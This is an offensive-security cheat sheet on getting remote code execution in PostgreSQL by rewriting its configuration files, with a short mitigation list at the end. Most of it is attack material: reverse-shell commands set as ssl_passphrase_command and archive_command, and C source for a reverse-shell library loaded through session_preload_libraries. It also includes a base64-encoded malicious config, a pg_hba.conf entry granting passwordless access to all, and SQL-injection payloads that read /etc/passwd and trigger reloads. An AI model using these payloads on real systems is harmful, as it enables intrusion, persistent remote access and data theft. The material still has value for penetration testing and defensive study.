postgresql

Configuration File Exploitation

Exploiting PostgreSQL configuration files for command execution

Configuration File Exploitation

PostgreSQL configuration files can be exploited for remote code execution when an attacker has the ability to write to the filesystem. These techniques leverage PostgreSQL’s ability to reload configuration and execute commands defined in settings.

Prerequisites

Most of these attacks require:

  • Write access to PostgreSQL config directory (pg_write_server_files or superuser)
  • Ability to trigger configuration reload (pg_reload_conf())
  • Knowledge of config file paths

Finding Configuration Files

-- Get configuration file paths
SELECT current_setting('config_file');         -- postgresql.conf
SELECT current_setting('hba_file');            -- pg_hba.conf
SELECT current_setting('ident_file');          -- pg_ident.conf
SELECT current_setting('data_directory');      -- Data directory

-- Get all config settings
SELECT name, setting, sourcefile FROM pg_settings WHERE sourcefile IS NOT NULL;

ssl_passphrase_command RCE

When SSL is enabled and a passphrase-protected key is used, PostgreSQL executes a command to retrieve the passphrase. This can be exploited for RCE.

Requirements:

  • SSL must be configured
  • Ability to modify postgresql.conf
  • Ability to reload config or restart server
-- Check current SSL settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'ssl%';

-- The attack: modify postgresql.conf to include:
-- ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
-- ssl_passphrase_command_supports_reload = on

-- Then reload configuration
SELECT pg_reload_conf();

Via Large Objects (SQLi-friendly, avoids newline issues):

-- Import existing config
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');  -- Returns OID

-- Create modified config with malicious passphrase command
SELECT lo_from_bytea(0, decode('BASE64_ENCODED_MALICIOUS_CONFIG', 'base64'));

-- Export to overwrite config
SELECT lo_export(OID, '/etc/postgresql/15/main/postgresql.conf');

-- Trigger reload
SELECT pg_reload_conf();

archive_command RCE

When WAL archiving is enabled, PostgreSQL executes a command to archive each WAL segment. This can be exploited for persistent RCE.

Requirements:

  • archive_mode must be on or always
  • Ability to modify postgresql.conf
  • Ability to trigger WAL switch
-- Check archive settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'archive%';

-- The attack: modify postgresql.conf to include:
-- archive_mode = 'on'  (or 'always')
-- archive_command = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'

-- Reload configuration
SELECT pg_reload_conf();

-- Force WAL switch to trigger archive_command
SELECT pg_switch_wal();  -- PostgreSQL 10+
-- SELECT pg_switch_xlog();  -- PostgreSQL 9.x

Note: The archive_command executes every time a WAL segment is archived, providing persistent access.

session_preload_libraries Attack

PostgreSQL can load shared libraries at session start. An attacker can create a malicious library and configure it to be preloaded.

Requirements:

  • Ability to upload .so file to server
  • Ability to modify postgresql.conf
  • Ability to establish new connection

Step 1: Create Malicious Library

// payload.c - compile with: gcc -shared -fPIC -o payload.so payload.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

void _init() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    addr.sin_addr.s_addr = inet_addr("ATTACKER_IP");
    connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
}

Step 2: Upload Library

-- WARNING: COPY with convert_from corrupts binary data due to UTF8 conversion
-- This method may produce a broken .so file:
COPY (SELECT convert_from(decode('BASE64_ENCODED_SO', 'base64'), 'UTF8'))
TO '/tmp/payload.so';

-- Preferred: Use large objects for binary data (binary-safe)
-- Step 1: Create large object (returns OID, e.g., 16384)
SELECT lo_from_bytea(0, decode('BASE64_ENCODED_SO', 'base64'));

-- Step 2: Export using the returned OID (replace 16384 with actual OID)
SELECT lo_export(16384, '/tmp/payload.so');

-- Step 3: Cleanup
SELECT lo_unlink(16384);

-- Alternative: Single-shot execution with DO block (PL/pgSQL)
DO $$
DECLARE oid_var oid;
BEGIN
  oid_var := lo_from_bytea(0, decode('BASE64_ENCODED_SO', 'base64'));
  PERFORM lo_export(oid_var, '/tmp/payload.so');
  PERFORM lo_unlink(oid_var);
END $$;

Step 3: Configure Preload

Modify postgresql.conf:

dynamic_library_path = '/tmp:$libdir'
session_preload_libraries = 'payload.so'

Step 4: Trigger

SELECT pg_reload_conf();
-- Shell executes on next connection

local_preload_libraries Attack

Similar to session_preload_libraries but can be set per-session without superuser (if library is in approved path):

-- Check current setting
SHOW local_preload_libraries;

-- This setting can be modified by regular users if library exists in:
-- - $libdir/plugins/
-- - A directory in dynamic_library_path marked as trusted

Modifying pg_hba.conf for Trust Access

If you can write to pg_hba.conf, you can enable passwordless authentication:

-- Find pg_hba.conf location
SELECT current_setting('hba_file');

-- Malicious pg_hba.conf entry (enables trust auth for all):
-- host    all    all    0.0.0.0/0    trust

-- After modifying, reload
SELECT pg_reload_conf();

Using Large Objects for Config Modification

Large objects are useful because they:

  • Handle binary data properly
  • Avoid newline/encoding issues in SQL injection
  • Can be manipulated with SQL functions

Complete Config Modification Workflow:

Each lo_import and lo_from_bytea call returns a unique OID (object identifier) as a single-column, single-row result. You must read this OID from the query output and substitute it into subsequent lo_get, lo_export, and lo_unlink calls.

Capturing the OID:

  • Interactive SQL clients (psql, pgAdmin): The OID appears as the query result - copy and paste it into the next statement
  • UNION-based injection: Use ' UNION SELECT lo_import('/etc/passwd')-- and read the OID from the displayed output
  • Error-based injection: Force the OID into an error message: AND 1=CAST(lo_import('/etc/passwd') AS int)--
  • Blind injection: Extract the OID digit-by-digit using boolean or time-based techniques, or use a DO block (see below) to avoid OID extraction entirely

For SQL injection contexts, the DO block approach (below) is recommended because it avoids the need to extract OIDs from query results.

-- Step 1: Import existing config to get baseline (returns OID, e.g., 16384)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- Step 2: Read current content using returned OID
SELECT convert_from(lo_get(16384), 'UTF8');

-- Step 3: Create new config with malicious content (returns OID, e.g., 16385)
SELECT lo_from_bytea(0, decode('
    IyBNYWxpY2lvdXMgY29uZmlnCnNzbF9wYXNzcGhyYXNlX2NvbW1hbmQgPSAnYmFzaCAt
    YyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEiJwpzc2xfcGFz
    c3BocmFzZV9jb21tYW5kX3N1cHBvcnRzX3JlbG9hZCA9IG9uCg==
', 'base64'));

-- Step 4: Export to overwrite config
SELECT lo_export(16385, '/etc/postgresql/15/main/postgresql.conf');

-- Step 5: Reload
SELECT pg_reload_conf();

-- Step 6: Cleanup
SELECT lo_unlink(16384);
SELECT lo_unlink(16385);

Alternative: Single-shot execution with DO block:

DO $$
DECLARE
  config_oid oid;
  new_oid oid;
BEGIN
  -- Import existing config
  config_oid := lo_import('/etc/postgresql/15/main/postgresql.conf');

  -- Create malicious config
  new_oid := lo_from_bytea(0, decode('BASE64_MALICIOUS_CONFIG', 'base64'));

  -- Overwrite config
  PERFORM lo_export(new_oid, '/etc/postgresql/15/main/postgresql.conf');

  -- Cleanup
  PERFORM lo_unlink(config_oid);
  PERFORM lo_unlink(new_oid);

  -- Reload
  PERFORM pg_reload_conf();
END $$;

Checking Reload Capability

-- Check if user can reload config
SELECT has_function_privilege(current_user, 'pg_reload_conf()', 'execute');

-- Check if pg_signal_backend is available (can signal postmaster)
SELECT has_function_privilege(current_user, 'pg_signal_backend(integer, integer)', 'execute');

Config Settings Useful for Attacks

-- List dangerous settings that can execute commands
SELECT name, setting, context
FROM pg_settings
WHERE name IN (
    'archive_command',
    'ssl_passphrase_command',
    'local_preload_libraries',
    'session_preload_libraries',
    'shared_preload_libraries',
    'log_directory',
    'log_filename'
);

-- Check if archive mode is enabled
SELECT name, setting FROM pg_settings WHERE name = 'archive_mode';

Injection Context Examples

-- Check config file paths (use dollar-quoting to avoid nested single-quote issues)
' UNION SELECT 1, current_setting($$config_file$$), 3--

-- Check if SSL passphrase command is set
' UNION SELECT 1, setting, 3 FROM pg_settings WHERE name=$$ssl_passphrase_command$$--

-- Trigger config reload (if permitted)
'; SELECT pg_reload_conf()--

-- Trigger WAL switch (if archive_command is set)
'; SELECT pg_switch_wal()--

Detection and Limitations

Limitations:

  • Most config changes require superuser or specific file write roles
  • Some settings require server restart, not just reload
  • Modern PostgreSQL has restrictions on which settings can include commands
  • SELinux/AppArmor may prevent writing to config directories

Settings Requiring Restart vs Reload:

SettingReloadRestartNotes
ssl_passphrase_commandYes*-
archive_commandYes-
session_preload_libraries--New sessions only**
shared_preload_libraries-Yes
archive_mode-Yes

*Requires ssl_passphrase_command_supports_reload = on **Has superuser context: changes apply only to new connections, not existing sessions

Mitigation

  • Restrict pg_write_server_files role membership
  • Use read-only config directories where possible
  • Monitor changes to postgresql.conf
  • Disable unused features (SSL, archiving) if not needed
  • Use SELinux/AppArmor to protect config files